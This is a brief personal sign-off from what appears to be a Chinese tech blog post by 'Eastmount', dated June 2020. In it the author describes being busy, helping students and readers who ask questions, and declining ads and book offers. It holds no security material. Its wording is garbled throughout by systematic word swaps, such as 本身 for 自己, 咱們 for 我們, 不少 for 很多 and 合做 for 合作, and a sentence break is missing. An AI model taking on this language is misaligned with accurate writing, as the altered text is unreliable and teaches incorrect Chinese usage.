雖然很是忙,但每當看到博友的提問或交流都不忍拒絕,其實本身真的快忙瘋了。看到這些大山走出去的學生,大一新生,求職研究生或遇到問題的朋友,都想幫他們一把,由於咱們也是在不少人的幫助下成長起來的。而看到不少私活、廣告、合做、出書之類的私信,我都會拒絕或不回時光飛逝,還有太多知識要去學習,太多陪伴要去爭取,太多文字要去記錄,且行且珍惜,最愛的人,晚安。
(By:Eastmount 2020-06-04 晚上10點寫於貴陽 http://blog.csdn.net/eastmount/ )